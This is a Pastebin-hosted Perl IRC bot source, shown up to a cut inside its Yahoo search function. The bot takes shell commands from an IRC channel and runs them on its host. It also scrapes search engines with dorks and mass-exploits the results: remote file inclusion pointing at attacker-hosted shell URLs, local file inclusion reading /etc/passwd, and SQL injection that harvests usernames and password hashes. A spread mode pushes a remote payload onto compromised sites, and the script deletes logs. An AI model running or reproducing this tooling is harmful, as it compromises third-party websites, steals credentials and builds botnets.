Googleinurl

Bot perl IrcBot

Sep 5th, 2012
395
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 38.78 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3.   #####################################################################################
  4.   ##                                                                                 ##
  5.   ##                                                                                 ##
  6.   ##                                                                                 ##
  7.   ##  ## IMPORTANT ##                                                                ##
  8.   ##   # ONLY FOR EDUCATIONAL PURPOSE. THE AUTHOR IS NOT RESPONSABLE OF ANY          ##
  9.   ##   # IMPROPERLY USE OF THIS TOOL. USE IT AT YOUR OWN RISK !!                     ##
  10.   ##   # THIS TOOL HAS BEEN MADE TO HELP NET ADMINISTRATORS TO MAKE THEIR            ##
  11.   ##   # SYSTEM MORE SECURE.                                                         ##
  12.   ##  ##                                                                             ##
  13.   ##                                                                                 ##
  14.   ##  Release: v5 Private                                                            ##
  15.   ##    I coded this tool only for fun , anyway it works well ! This is a Private    ##
  16.   ##    Release, so if you have this Script, please, take care, and don't give it    ##
  17.   ##    anyone ! Thank you.                                                          ##
  18.   ##    It's a IrcBot. So, after connecting on your Ircd, you can scan for RFI,      ##
  19.   ##    LFI, SQL Injection on sites using dorks.                                     ##
  20.   ##    Anyway, u may know, that this one is the better bot ever created !           ##
  21.   ##    Be happy ! :D                                                                ##
  22.   ##                                                                                 ##
  23.   ##  Features:                                                                      ##
  24.   ##    [+]Sql Injection Scanner                                                     ##
  25.   ##    [+]Remote File Inclusion Scanner                                             ##
  26.   ##    [+]Local File Inclusion Scanner                                              ##
  27.   ##    [+]Integrated Shell, so you can execute commands on the server               ##
  28.   ##    [+]Security Mode to protect "dangerous" functions                            ##
  29.   ##    [+]Spread Mode, to activate or disable Spread Function                       ##
  30.   ##    [+]Bypass Engines ON: Google, Yahoo                                          ##
  31.   ##    !: To "bypass" these engines, the Scanner just looks for websites on other   ##
  32.   ##    engines that use the same bots than the main ones                            ##
  33.   ##                                                                                 ##
  34.   ##                                                                                 ##
  35.   #####################################################################################
  36.  
  37.  
  38.  
  39. ### !!_/ PRIVATE
  40.  
  41. use IO::Socket::INET;
  42. use HTTP::Request;
  43. use LWP::UserAgent;
  44.  
  45. #######################################################
  46. ## CONFIGURATION                                     //
  47. #######################################################
  48.  
  49.  
  50. my $id    = "http://lasekmu.co.cc/lase/id??"; #Your RFI Response
  51. my $shell = "http://geoities.com/miztic_hell/tulang.txt????"; #Shell printed on the Vulnerable Site
  52. my $ircd  = "irc.indoirc.net";
  53. my $port  = "6667";
  54. my $chan1 = "#indomirc"; #Chan for Scan
  55. my $chan2 = "#lase"; #bot will be printed here too
  56. my $nick="IndomIRC|".int(rand(99))."|"; # Scanner Nickname
  57. my $sqlpidpr0c = 1; # This is the number of sites that the bot will test in the same time. For an accurated scann, it's reccomended to set a low number(1)  
  58. # (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites. Unless you will see the bot exiting by an excess flood!
  59. # Instead, if you are scaning on old bugs, so not many results, you can put a higher number, so more speed.
  60. my $rfipidpr0c = 50;
  61.  
  62. ### USEFULL OPTIONS ( 0 => OFF  ;  1 => ON )
  63.  
  64. my $spread = "http://lasekmu.co.cc/lase/test.txt??";
  65.  
  66. my $spreadACT = 0; #0 ->disabled, 1 ->enabled
  67. my $securityACT = 0; #0 ->disabled, 1 ->enabled
  68.  
  69. my $killpwd = "achap123"; #Password to Kill the Bot
  70. my $chidpwd = "achap123"; #Password to change the RFI Response
  71. my $cmdpwd = "achap123"; #Password to execute commands on the server
  72. my $secpwd = "achap123";
  73. my $spreadpwd = "achap123";
  74.  
  75. my $badspreadpwd != $spreadpwd;
  76. my $badkillpwd != $killpwd;
  77. my $badidpwd != $chidpwd;
  78. my $badcmdpwd =! $cmdpwd;
  79.  
  80.  
  81. #######################################################
  82. ## END OF CONFIGURATION                              //
  83. #######################################################
  84.  
  85. open( $f1le, ">", "rip123.txt" );
  86. print $f1le "\#!/usr/bin/perl\n";
  87. print $f1le "exec(\"rm -rf \*log\*\")\;\n";
  88. close $f1le;
  89.  
  90.  
  91. @help = (
  92. "14[!] 6!response  14> 12Test if the RFI Response is working",
  93. "14[!] 6!chid <new rfi-id>  14> 12Change the RFI-Response",
  94. "14[!] 6!killme  14> 12KILL The Bot",
  95. "14[!] 6!new rfi bugs  14> 12Get the last 10 RFI bugs",
  96. "14[!] 6!new lfi bugs  14> 12Get the last 10 LFI bugs",
  97. "14[!] 6!new sql-inj bugs  14> 12Get the last 10 SQL Injection bugs",
  98. "14[!] 6!rfi <bug> <dork> -p <sites/proc>  14> 12Start the RFI Scanner",
  99. "14[!] 6!lfi <bug> <dork>  14> 12Start the LFI Scanner",
  100. "14[!] 6!sql <bug> <dork> -p <sites/proc>  14> 12Start the SQL Injection Scanner",
  101. "14[!] 6!cmd <bashline>  14> 12Gives command on the Bot's shell. Ex: (!cmd id) (!cmd uname -a)",
  102. "14[!] 6/msg $nick !Sec ON/OFF -p <pwd>  14> 12To enable or disable Security Mode",
  103. "14[!] 6!Spread ON/OFF  14> 12To enable or disable Spread Mode",
  104. "14[!] 6!info  14> 12Get infos about the Bot"
  105. );
  106.  
  107. my $sys = `uname -a`;
  108. my $up = `uptime`;
  109.  
  110. if ($spreadACT == 0) {
  111.     $t5 = "OFF";
  112. }
  113. elsif ($spreadACT == 1) {
  114.     $t5 = "ON";
  115. }
  116.  
  117. if ($securityACT == 0) {
  118.     $y5 = "OFF";
  119. }
  120. elsif ($securityACT == 1) {
  121.     $y5 = "ON";
  122. }
  123.  
  124.  
  125. $k=0;
  126.  
  127. if ( fork() == 0 ) {
  128.     &irc( $ircd, $port, $chan1, $chan2, $nick );
  129. }
  130. else {
  131.     exit;
  132. }
  133.  
  134. sub irc () {
  135.     my ( $ircd, $port, $chan1, $chan2, $nick ) = @_;
  136.     $c0n = IO::Socket::INET->new(
  137.         PeerAddr => "$ircd",
  138.         PeerPort => "$port",
  139.         Proto    => "tcp"
  140.     ) or die "Can not connect on server!\n";
  141.     $c0n->autoflush(1);
  142.     print $c0n "NICK $nick\n";
  143.     print $c0n "USER izzaura 8 *  : credit to d3v1l. modded by watchdog.\n";
  144.  
  145.     while ( $line = <$c0n> ) {
  146.  
  147.         my $sys = `uname -a`;
  148.         my $up = `uptime`;
  149.  
  150.         if ($spreadACT == 0) {
  151.             $t5 = "OFF";
  152.         }
  153.         elsif ($spreadACT == 1) {
  154.             $t5 = "ON";
  155.         }
  156.  
  157.         if ($securityACT == 0) {
  158.             $y5 = "OFF";
  159.         }
  160.         elsif ($securityACT == 1) {
  161.         $y5 = "ON";
  162.         }
  163.  
  164.         @info = (
  165.          "14[i] 6Release 14:12 perl IRC bot v5.1",
  166.          "14[i] 6Author  14:12 d3v1l moded by watchdog",
  167.          "14[i] 6Contact 14:12 admin\@fuckyouandyourself.com",
  168.          "14[i] 6Uname -a14:12 $sys ",
  169.          "14[i] 6Uptime  14:12 $up ",
  170.          "14[i] 6Spread Mode1412 $t5 ",
  171.          "14[i] 6Security Mode14:12 $y5 "
  172.         );
  173.          
  174.  
  175.         $k++;
  176.  
  177.  
  178.  
  179.         if ( $line =~ /^PING :(.*)/ ) {
  180.             print $c0n "PONG :$1";
  181.         }
  182.  
  183.  
  184.  
  185.         if ( $line =~ /001/ ) {
  186.             print $c0n "JOIN $chan1\n";
  187.             writ1("6perl IRC bot v5.1 4ON");
  188.             writ1("6coded by d3v1l moded by watchdog");
  189.             print $c0n "JOIN $chan2\n";
  190.         }
  191.  
  192.  
  193.  
  194.         if (( $line =~ /PRIVMSG $chan1 :!help/ ) && ($securityACT == 0)) {
  195.             @help;
  196.             foreach my $e(@help){
  197.                 writ1("$e");
  198.             }
  199.         }
  200.         elsif (( $line =~ /PRIVMSG $chan1 :!help/ ) && ($securityACT == 1)) {
  201.             @help;
  202.             $help[1] = "14[!] 6/msg $nick !chid <new rfi-id> -p <pwd>  14> 12Change the RFI-Response";
  203.             $help[2] = "14[!] 6/msg $nick !killme -p <pwd>  14> 12KILL The Bot";
  204.             $help[9] = "14[!] 6/msg $nick !cmd <bashline> <pwd>  14> 12Gives command on the Bot's shell. Ex: (!cmd id)";
  205.             $help[11] = "14[!] 6/msg $nick !Spread ON/OFF -p <pwd>  14> 12To enable or disable Spread Mode";
  206.             foreach my $e(@help){
  207.                 writ1("$e");
  208.             }
  209.         }
  210.  
  211.  
  212.  
  213.         if ( $line =~ /PRIVMSG $chan1 :!info/) {
  214.             @info;
  215.             foreach my $n(@info) {
  216.                 writ1("$n");
  217.             }
  218.         }
  219.  
  220.  
  221.         if ( $line =~ /PRIVMSG $chan1 :!new rfi bugs/ ) {
  222.             my @re = query("nostrosito");
  223.             writ1("14[15+14] 6Last 10 RFI bugs:");
  224.             foreach my $n (@re) {
  225.                 writ1("12$n");
  226.             }
  227.         }
  228.  
  229.  
  230.  
  231.         if ( $line =~ /PRIVMSG $chan1 :!new lfi bugs/ ) {
  232.             my @re = query("nostrosito");
  233.             writ1("14[15+14] 6Last 10 LFI bugs:");
  234.             foreach my $n (@re) {
  235.                 writ1("12$n");
  236.             }
  237.         }
  238.  
  239.  
  240.  
  241.         if ( $line =~ /PRIVMSG $chan1 :!new sql-inj bugs/ ) {
  242.             my @re = query("nostrosito");
  243.             writ1("14[15+14] 6Last 10 SQL Inj bugs:");
  244.             foreach my $n (@re) {
  245.                 writ1("12$n");
  246.             }
  247.         }
  248.  
  249.  
  250.  
  251.         if ( $line =~ /PRIVMSG $chan1 :!response/ ) {
  252.             my $re = query($id);
  253.             if ( $re =~ /d3v1l/ ) {
  254.                 writ1("14[15+14]6 RFI Response is 12WORKING");
  255.             }
  256.             else {
  257.                 writ1("14[15-14]6 RFI Response is 12NOT WORKING");
  258.             }
  259.         }
  260.  
  261.  
  262.  
  263.         if (($line=~ /PRIVMSG $nick :!chids+(.*) -p $chidpwd/) && ($securityACT == 1)) {
  264.             $newid = $1;
  265.             $id = $newid;
  266.             writ1("14[15+14]6 RFI Response 12changed ");
  267.             writ1("14[15+14]6 New RFI Response: 12$id");
  268.         }
  269.         elsif (($line=~ /PRIVMSG $nick :!chids+(.*) -p $badidpwd/) && ($securityACT == 1)) {
  270.             writ1("14[15-14]6 Error Changing the RFI-Response (bad Password)!");
  271.         }
  272.         elsif (($line=~ /PRIVMSG $chan1 :!chids+(.*)/) && ($securityACT == 0)) {
  273.             $newid = $1;
  274.             $id = $newid;
  275.             writ1("14[15+14]6 RFI Response changed ");
  276.             writ1("14[15+14]6 New RFI Response: 12$id");
  277.         }
  278.  
  279.  
  280.  
  281.         if (($line=~ /PRIVMSG $nick :!killme -p $killpwd/) && ($securityACT == 1)) {
  282.             writ1("14[15!14]6 Bye!");
  283.             print $c0n "QUIT";
  284.             exec("perl rm.txt && pkill perl \n");  
  285.         }
  286.         elsif (($line=~ /PRIVMSG $nick :!killme -p $badkillpwd/) && ($securityACT == 1)) {
  287.             writ1("14[15-14] 6Error Killing the Bot (Null or bad Password) !");
  288.         }
  289.         elsif (($line=~ /PRIVMSG $chan1 :!killme/) && ($securityACT == 0)) {
  290.                writ1("14[15!14]6 Bye!");
  291.                print $c0n "QUIT";
  292.                exec("perl rm.txt && pkill perl \n");  
  293.         }
  294.  
  295.  
  296.  
  297.         if (($line=~ /PRIVMSG $nick :!cmds+(.*) -p $cmdpwd/) && ($securityACT == 1) && (fork() == 0)) {
  298.             my $cmd = $1;
  299.             if ($cmd =~ /cd (.*)/) {
  300.                 chdir("$1") || priv8("Can't change dir");  
  301.                 return;
  302.             }
  303.             my @output = `$1`;
  304.             my $count = 0;
  305.             foreach my $out(@output) {
  306.                 #$count++;
  307.                 #if ($count == 5) {
  308.                     #sleep(3);
  309.                     #$count = 0;
  310.                 #}
  311.                 priv8("14[15+14]6 $out ");
  312.            }
  313.            exit;
  314.         }
  315.         elsif  (($line=~ /PRIVMSG $nick :!cmds+(.*) -p $badcmdpwd/) && ($securityACT == 1) && (fork() == 0)) {
  316.             priv8("14[15-14]6 Error using the shell (Null or bad Password) ! ");
  317.         }
  318.         elsif  (($line=~ /PRIVMSG $chan1 :!cmds+(.*)/) && ($securityACT == 0) && (fork() == 0)) {
  319.             my $cmd = $1;
  320.             if ($cmd =~ /cd (.*)/) {
  321.                 $dir = $1;
  322.                 chomp($dir);
  323.                 chdir ($dir) || writ1("Can't change dir");  
  324.             }
  325.             my @output = `$1`;
  326.             my $count = 0;
  327.             foreach my $out(@output) {
  328.                 #$count++;
  329.                 #if ($count == 5) {
  330.                     #sleep(3);
  331.                     #$count = 0;
  332.                 #}
  333.                 writ1("14[15+14]6 $out ");
  334.            }
  335.            exit;
  336.         }
  337.  
  338.  
  339.  
  340.         if ($line=~ /PRIVMSG $nick :!Secs+(.*) -p $secpwd/) {
  341.             $s = $1;
  342.             if ($s =~ /ON/) {
  343.                 $securityACT = 1;
  344.                 writ1("14[15+14]6 Security Mode Activated !! ");
  345.             }
  346.             elsif ($s =~ /OFF/) {
  347.                 $securityACT = 0;
  348.                 writ1("14[15+14]6 Security Mode Disabled !! ");
  349.             }
  350.         }
  351.  
  352.  
  353.  
  354.         if (($line=~ /PRIVMSG $nick :!Spreads+(.*) -p $spreadpwd/) && ($securityACT == 1)) {
  355.             $t = $1;
  356.             if ($t =~ /ON/) {
  357.                 $spreadACT = 1;
  358.                 writ1("14[15+14]6 Spread Mode Activated !! ");
  359.             }
  360.             elsif ($t =~ /OFF/) {
  361.                 $spreadACT = 0;
  362.                 writ1("14[15+14]6 Security Mode Disabled !! ");
  363.             }
  364.         }
  365.         elsif (($line=~ /PRIVMSG $nick :!Spreads+(.*) -p $badspreadpwd/) && ($securityACT == 1)) {
  366.             writ1("14[15-14]6 Error changing the Spread Mode (Null or bad Password) ! ");
  367.         }
  368.         elsif (($line=~ /PRIVMSG $chan1 :!Spreads+(.*)/) && ($securityACT == 0)) {
  369.             $t = $1;
  370.             if ($t =~ /ON/) {
  371.                 $spreadACT = 1;
  372.                 writ1("14[15+14]6 Spread Mode Activated !! ");
  373.             }
  374.             elsif ($t =~ /OFF/) {
  375.                 $spreadACT = 0;
  376.                 writ1("14[15+14]6 Spread Mode Disabled !! ");
  377.             }
  378.         }
  379.  
  380.  
  381.  
  382.         if (($line =~ /PRIVMSG $chan1 :!rfis+(.*?)s+(.*)s+-p(.+[0-9])/) && (fork() == 0)) {
  383.             my ($bug, $dork, $rfipid) = ($1, $2, $3);
  384.             writ1("14[15*14]6 RFI Scan started 14->12 $rfipid sites/process");
  385.             writ1("14[15+14]6 Bug:12 $bug ");
  386.             $d0rk = clean($dork);
  387.             writ1("14[15+14]6 Dork:12 $dork ");
  388.             my $a    = $k . "a";
  389.             my $n4me = $a . "siti.txt";
  390.             find($d0rk, $n4me);
  391.             rfi($bug, $n4me, $d0rk, $rfipid);
  392.             writ1("14[15-14]6 RFI Scan finished  14>12 $d0rk");
  393.             writ1("14[15?14]6 #Coded by d3v1l moded by watchdog");
  394.             exit(0);
  395.         }
  396.  
  397.  
  398.  
  399.  
  400.  
  401.         if (($line =~ /PRIVMSG $chan1 :!lfis+(.*?)s+(.*)/) && (fork() == 0)) {
  402.             my ($bug, $dork) = ($1, $2);
  403.             writ1("14[15*14]6 RFI Scan started");
  404.             writ1("14[15+14]6 Bug:12 $bug ");
  405.             $d0rk = clean($dork);
  406.             writ1("14[15+14]6 Dork:12 $dork ");
  407.             my $b    = $k . "b";
  408.             my $n4me = $b . "siti.txt";
  409.             find($d0rk, $n4me);
  410.             lfi($bug, $n4me, $d0rk);
  411.             writ1("14[15-14]6 LFI Scan finished  14>12 $d0rk");
  412.             writ1("14[15?14]6 #Coded by d3v1l moded by watchdog");
  413.             exit(0);
  414.         }
  415.  
  416.  
  417.  
  418.         if (($line =~ /PRIVMSG $chan1 :!sqls+(.*?)s+(.*)s+-p(.+[0-9])/) && (fork() == 0)) {
  419.             my ($bug, $dork, $sqlpid) = ($1, $2, $3);
  420.             writ1("14[15*14]6 SQL Inj started 14->12 $sqlpid sites/process ");
  421.             writ1("14[15+14]6 Bug:12 $bug ");
  422.             $d0rk = clean($dork);
  423.             writ1("14[15+14]6 Dork:12 $dork ");
  424.             my $c    = $k . "c";
  425.             my $n4me = $c . "siti.txt";
  426.             find($d0rk, $n4me);
  427.             sql($bug, $n4me, $d0rk, $sqlpid);
  428.             writ1("14[15-14]6 SQL Inj finished  14>12 $d0rk");
  429.             writ1("14[15?14]6 #Coded by d3v1l moded by watchdog");
  430.             exit(0);
  431.         }
  432.     }
  433. }
  434.  
  435.  
  436.  
  437.  
  438. sub find () {
  439.     my $dork = $_[0];
  440.     my $name = $_[1];
  441.     my @engine;
  442.     $engine[0] = fork();
  443.     if ( $engine[0] == 0 ) {
  444.         my @glist = google( $dork, $name );
  445.         writ1("14[15~14] 6>GOOGLE :12  ". scalar(@glist). "  14>12  $dork" );
  446.         exit;
  447.     }
  448.     $engine[1] = fork();
  449.     if ( $engine[1] == 0 ) {
  450.         my @all = alltheweb( $dork, $name );
  451.         writ1("14[15~14] 6>ALLTHEWEB :12  ". scalar(@all). "  14>12  $dork" );
  452.         exit;
  453.    }
  454.     $engine[2] = fork();
  455.     if ( $engine[2] == 0 ) {
  456.         my @alt = altavista( $dork, $name );
  457.         writ1("14[15~14] 6>ALTAVISTA :12  ". scalar(@alt). "  14>12  $dork" );
  458.         exit;
  459.     }
  460.     $engine[3] = fork();
  461.     if ( $engine[3] == 0 ) {
  462.         my @emsn = msn( $dork, $name );
  463.         writ1("14[15~14] 6>MSN :12  ". scalar(@emsn). "  14>12  $dork" );
  464.         exit;
  465.     }
  466.     $engine[4] = fork();
  467.     if ( $engine[4] == 0 ) {
  468.         my @ysites = yahoo( $dork, $name );
  469.         writ1("14[15~14] 6>YAHOO :12  ". scalar(@ysites). "  14>12  $dork" );
  470.         exit;
  471.     }
  472.     $engine[5] = fork();
  473.     if ( $engine[5] == 0 ) {
  474.         my @asksites = ask( $dork, $name );
  475.         writ1("14[15~14] 6>ASK :12  ". scalar(@asksites). "  14>12  $dork" );
  476.         exit;
  477.     }
  478.     $engine[6] = fork();
  479.     if ($engine[6] == 0) {
  480.         my @aolsites = aol($dork,$name);
  481.         writ1("14[15~14] 6>AOL :12  ". scalar(@aolsites). "  14>12  $dork" );
  482.         exit;
  483.     }
  484.     $engine[7] = fork();
  485.     if ( $engine[7] == 0 ) {
  486.         my @dmozsites = dmoz( $dork, $name );
  487.         writ1("14[15~14] 6>DMOZ :12  ". scalar(@dmozsites). "  14>12  $dork" );
  488.         exit;
  489.     }
  490.     $engine[8] = fork();
  491.     if ($engine[8] == 0) {
  492.         my @webdesites = webde($dork,$name);
  493.         writ1("14[15~14] 6>WEB.DE :12  ". scalar(@webdesites). "  14>12  $dork" );
  494.         exit;
  495.     }
  496.     $engine[9] = fork();
  497.     if ($engine[9] == 0) {
  498.         my @einetsites = einet($dork,$name);
  499.         writ1("14[15~14] 6>eiNET.BET :12  ". scalar(@einetsites). "  14>12  $dork" );
  500.         exit;
  501.     }
  502.  
  503.     foreach my $e(@engine){
  504.         waitpid($e,0);
  505.     }
  506.  
  507. }
  508.  
  509. sub rfi () {
  510.     my $bug  = $_[0];
  511.     my $name = $_[1];
  512.     my $dork = $_[2];
  513.     my $rfipid = $_[3];  
  514.     my @forks;
  515.     my $num = 0;
  516.     open( filez, '<', $name );
  517.     while ( my $a = <filez> ) {
  518.         $a =~ s/n//g;
  519.         push( @tot, $a );
  520.     }
  521.     close filez;
  522.     remove($name);
  523.     my @toexploit = unici(@tot);
  524.     writ1("14[15*14]6 >EXPLOITABLES:12    ". scalar(@toexploit). "  14>12  $dork" );
  525.     sleep(1);
  526.     writ1("14[15+14]6 Exploiting STARTED !!" );
  527.     foreach my $site (@toexploit) {
  528.         my $test  = "http://" . $site . $bug . $id . "??";
  529.         print "$test\n";
  530.         $count++;
  531.         if ( $count % $rfipid == 0 ) {
  532.         foreach my $f(@forks){
  533.                 waitpid($f,0);
  534.             }
  535.         $num = 0;
  536.         }
  537.         if($count %100 == 0){
  538.             writ1("14[15%14]6 >Exploiting12    ". $count. "  14/12  ". scalar(@toexploit). " ");
  539.         }
  540.         $forks[$num]=fork();
  541.         if($forks[$num] == 0){
  542.             my $test  = "http://" . $site . $bug . $id . "??";
  543.             my $print = "http://" . $site . $bug . $shell . "?";
  544.             my $re    = query($test);
  545.             if ( $re =~ /d3v1l/ && $re =~ /uid=/ ) {
  546.                 os($test);
  547.                 writ1("6(12safe: 3OFF6) 6(12os:3 $os6)3 $print ");
  548.                 writ1("6(12uname -a6)3  $un");
  549.                 writ1("6(12uid / gid6)3  $id1");
  550.                 writ1("6(12hdd space6)  12free: 6(3$free6) 12used: 6(3$used6) 12tot: 6(3$all6)");
  551.                 writ2("");
  552.                 writ2("6(12safe: 3OFF6) 6(12os:3 $os6)3 $print ");
  553.                 writ2("6(12uname -a6)3  $un 6(12uid / gid6)3  $id1");
  554.                 if ( $spreadACT == 1 ) {
  555.                     writ1("14[15+14]6 Trying to spread .. ");
  556.                     sleep(2);
  557.                     my $test2 = "http://" . $site . $bug . $spread . "?";
  558.                     my $reqz  = query($test2);
  559.                 }
  560.             }
  561.             elsif ( $re =~ /d3v1l/ ) {
  562.                 os($test);
  563.                 writ1("6(safe: 4ON6) 6(os:4 $os6)4 $print ");
  564.                 writ1("6(12uname -a6)4  $un");
  565.                 writ1("6(12uid / gid6)4  $id1");
  566.                 writ1("6(12hdd space6)  12free: 6(4$free6) 12used: 6(4$used6) 12tot: 6(4$all6)");
  567.                 writ2("");
  568.                 writ2("6(safe: 4ON6) 6(os:4 $os6)4 $print ");
  569.                 if ( $spreadACT == 1 ) {
  570.                     writ1("14[15+14]6 Trying to spread .. ");
  571.                     sleep(2);
  572.                     my $test2 = "http://" . $site . $bug . $spread . "?";
  573.                     my $reqz  = query($test2);
  574.                 }
  575.             }
  576.             exit(0);
  577.         }
  578.         $num++;
  579.     }
  580.     foreach my $f(@forks){
  581.     waitpid($f,0);
  582.     }
  583. }
  584.  
  585. sub lfi () {
  586.     my $bug  = $_[0];
  587.     my $name = $_[1];
  588.     my $dork = $_[2];
  589.     my @forks;
  590.     my $num = 0;
  591.     open( filez, '<', $name );
  592.     while ( my $a = <filez> ) {
  593.         $a =~ s/n//g;
  594.         push( @tot, $a );
  595.     }
  596.     close filez;
  597.     remove($name);
  598.     my @toexploit = unici(@tot);
  599.     writ1("14[15*14]6 >EXPLOITABLES:12    ". scalar(@toexploit). "  14>12  $dork" );
  600.     writ1("14[15+14]6 Exploiting STARTED !!" );
  601.     foreach my $site (@toexploit) {
  602.         $count++;
  603.         if ( $count % 100 == 0 ) {
  604.         foreach my $f(@forks){
  605.                 waitpid($f,0);
  606.             }
  607.         $num = 0;
  608.         }
  609.         if ( $count % 300 == 0 ) {
  610.             writ1("14[15%14]6 >Exploiting12    ". $count. "  14/12  ". scalar(@toexploit). "");
  611.         }
  612.         $forks[$num]=fork();
  613.         if($forks[$num] == 0){
  614.             my $inj   = "../../../../../../../../../../../../../etc/passwd%00";
  615.             my $test  = "http://" . $site . $bug . $inj;
  616.             my $print = "http://" . $site . $bug . $inj;
  617.             my $re    = query($test);
  618.             if ( $re =~ /root:x:/ ) {
  619.                 writ1("6(12LFI6)3 $print");
  620.                 writ2("6(12LFI6)3 $print");
  621.             }
  622.             exit(0);
  623.         }
  624.         $num++;
  625.     }
  626.     foreach my $f(@forks){
  627.     waitpid($f,0);
  628.     }
  629. }
  630.  
  631. sub sql () {
  632.     my $bug  = $_[0];
  633.     my $name = $_[1];
  634.     my $dork = $_[2];  
  635.     my $sqlpid = $_[3];  
  636.     my @forks;
  637.     my $num = 0;
  638.     open( filez, '<', $name );
  639.     while ( my $a = <filez> ) {
  640.         $a =~ s/n//g;
  641.         push( @tot, $a );
  642.     }
  643.     close filez;
  644.     remove($name);
  645.     my @toexploit = unici(@tot);
  646.     writ1("14[15*14]6 >EXPLOITABLES:12    ". scalar(@toexploit). "  14>12  $dork" );
  647.     writ1("14[15+14]6 Exploiting STARTED !!" );
  648.     foreach my $site (@toexploit) {
  649.         my $test  = "http://" . $site . $bug;
  650.         print "$test\n";
  651.         $count++;
  652.         if($count %$sqlpid == 0){
  653.         foreach my $f(@forks){
  654.                 waitpid($f,0);
  655.             }
  656.         $num = 0;
  657.     }
  658.         if($count %100 == 0){
  659.             writ1("14[15%14]6 >Exploiting12    ". $count. "  14/12  ". scalar(@toexploit). " ");
  660.         }
  661.         $forks[$num]=fork();
  662.         if($forks[$num] == 0){
  663.             my $test  = "http://" . $site . $bug;
  664.             my $print = "http://" . $site . $bug;
  665.             my $re    = query($test);
  666.             if ( $re =~ /(.*):(.*)([0-9,a-f]{32})/ ) {  
  667.                 my ($user,$hash) = ($2,$3);
  668.                 $user =~ s/<(.*)>//g;
  669.                 if ($user !~ /(/|<|>|")/) {
  670.                     if ($sqlpid == $sqlpidpr0c) {
  671.                         writ1("6(12SQL INJ6)3 $print");
  672.                         writ1("6(12User6)3 $user");
  673.                         writ1("6(12Hash6)3 $hash");
  674.                         writ2("6(12SQL INJ6)3 $print");
  675.                     }
  676.                     elsif  ($sqlpid > $sqlpidpr0c) {  
  677.                         writ1("6(12SQL INJ6)3 $print");
  678.                     }
  679.                 }
  680.             }
  681.             exit(0);
  682.         }
  683.         $num++;
  684.     }
  685.     foreach my $f(@forks){
  686.     waitpid($f,0);
  687.     }
  688. }
  689.  
  690. sub google () {
  691.     my @gsites;
  692.     my $key = $_[0];
  693.     my $name = $_[1];
  694.     my $gtest = ("www.google.com/search?q=hi&hl=en&start=10&sa=N");
  695.     my $ret = query1($gtest);
  696.     if ($ret =~ /2008 Google/) {
  697.         @gsites = gfind($key,$name);
  698.     }
  699.     else {
  700.         writ1("14[15!14]4 Banned 6by Google Engine, trying to bypass it !");
  701.         @gsites = gbypass($key,$name);
  702.     }
  703.     return @gsites;
  704. }
  705.  
  706. sub gfind () {
  707.     my @list;
  708.     my $key = $_[0];
  709.     my $name= $_[1];
  710.     for ($p = 0;$p <= 900; $p += 100) {
  711.         my $g0gle = ("www.google.it/search?q=".key($key)."&num=100&hl=it&as_qdr=all&start=".$p."&sa=N");
  712.         my $gr = query1($g0gle);
  713.         while ($gr =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  714.             my $k = $1;
  715.             if ($k !~ /google/) {
  716.                 my @grep = links($k);
  717.                 open( $filez, ">>", $name );
  718.                 foreach my $k (@grep) {
  719.                     print $filez "$kn";
  720.                 }
  721.                 close $filez;
  722.                 push(@list, @grep);
  723.             }
  724.         }
  725.     }
  726.     return @list;
  727. }
  728.  
  729. sub gbypass () { # Euroseek uses the same search type of google
  730.     my @lst;
  731.     my $key  = $_[0];
  732.     my $name = $_[1];
  733.     for ( $p = 0 ; $p <= 1000 ; $p += 10 ) {
  734.         my $gp = ("http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&string=".key($key));
  735.         my $re = query($gp);
  736.         while ($re =~ m/<a href="http:\/\/(.+?)\" class=\"searchlinklink\">/g ) {
  737.             my $k = $1;
  738.             my @grep = links($k);
  739.             open( $filez, ">>", $name );
  740.             foreach my $k (@grep) {
  741.                 print $filez "$kn";
  742.             }
  743.             close $filez;
  744.             push( @lst, @grep );
  745.         }
  746.     }
  747.     return @lst;
  748. }
  749.  
  750. sub alltheweb() {
  751.     my @lst;
  752.     my $key  = $_[0];
  753.     my $name = $_[1];
  754.     for ( $i = 0 ; $i <= 1000 ; $i += 100 ) {
  755.         my $All = ( "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=". key($key) . "&o=". $i );
  756.         my $re = query($All);
  757.         while ( $re =~ m/<span class="?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
  758.             my $k = $1;
  759.             $k =~ s/ //g;
  760.             my @grep = links($k);
  761.             open( $filez, ">>", $name );
  762.             foreach my $k (@grep) {
  763.                 print $filez "$kn";
  764.             }
  765.             close $filez;
  766.             push( @lst, @grep );
  767.         }
  768.     }
  769.     return @lst;
  770. }
  771.  
  772. sub altavista() {
  773.     my @lst;
  774.     my $key  = $_[0];
  775.     my $name = $_[1];
  776.     for ($b = 1;$b <= 1000;$b += 10) {
  777.         my $Alt = ( "http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=". key($key) . "&stq=". $b );
  778.         my $re = query($Alt);
  779.         while ( $re =~ m/<span class=ngrn>(.+?)//g ) {
  780.             if ( $1 !~ /altavista/ ) {
  781.                 my $k = $1;
  782.                 $k =~ s/<//g;
  783.                 $k =~ s/ //g;
  784.                 my @grep = links($k);
  785.                 open( $filez, ">>", $name );
  786.                 foreach my $k (@grep) {
  787.                     print $filez "$k\n";
  788.                 }
  789.                 close $filez;
  790.                 push( @lst, @grep );
  791.             }
  792.         }
  793.         if ( $re =~ /target="_self\">Succ/ ) { }
  794.         else {
  795.             return @lst;
  796.         }
  797.     }
  798.     return @lst;
  799. }
  800.  
  801. sub msn() {
  802.     my @lst;
  803.     my $key  = $_[0];
  804.     my $name = $_[1];
  805.     for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
  806.         my $Msn = ( "http://search.live.com/results.aspx?q=". key($key). "&first=". $b. "&FORM=PERE" );
  807.         my $re = query($Msn);
  808.         while ( $re =~ m/<a href="?http:\/\/([^>\"]*)\//g ) {
  809.             if ( $1 !~ /msn|live/ ) {
  810.                 my $k    = $1;
  811.                 my @grep = links($k);
  812.                 open( $filez, ">>", $name );
  813.                 foreach my $k (@grep) {
  814.                     print $filez "$kn";
  815.                 }
  816.                 close $filez;
  817.                 push( @lst, @grep );
  818.             }
  819.         }
  820.     }
  821.     return @lst;
  822. }
  823.  
  824. sub yahoo () {
  825.     my @ysites;
  826.     my $key = $_[0];
  827.     my $name = $_[1];
